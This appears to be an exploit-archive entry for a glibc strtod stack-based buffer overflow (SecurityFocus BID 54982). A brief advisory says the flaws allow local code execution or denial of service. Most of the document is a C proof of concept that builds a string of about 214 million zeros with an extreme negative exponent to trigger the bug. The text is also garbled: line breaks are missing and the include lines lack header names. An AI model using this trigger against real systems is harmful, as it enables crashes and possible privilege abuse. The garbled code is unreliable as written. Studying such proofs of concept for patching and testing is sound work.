// source: https://www.securityfocus.com/bid/54982/info GNU glibc is prone to multiple stack-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data. Local attackers can exploit these issues to run arbitrary code with privileges of the affected application. Failed exploit attempts can result in a denial-of-service condition. include #include #include #define EXPONENT "e-2147483649" #define SIZE 214748364 int main (void) { char *p = malloc (1 + SIZE + sizeof (EXPONENT)); if (p == NULL) { perror ("malloc"); exit (EXIT_FAILURE); } p[0] = '1'; memset (p + 1, '0', SIZE); memcpy (p + 1 + SIZE, EXPONENT, sizeof (EXPONENT)); double d = strtod (p, NULL); printf ("%a\n", d); exit (EXIT_SUCCESS); }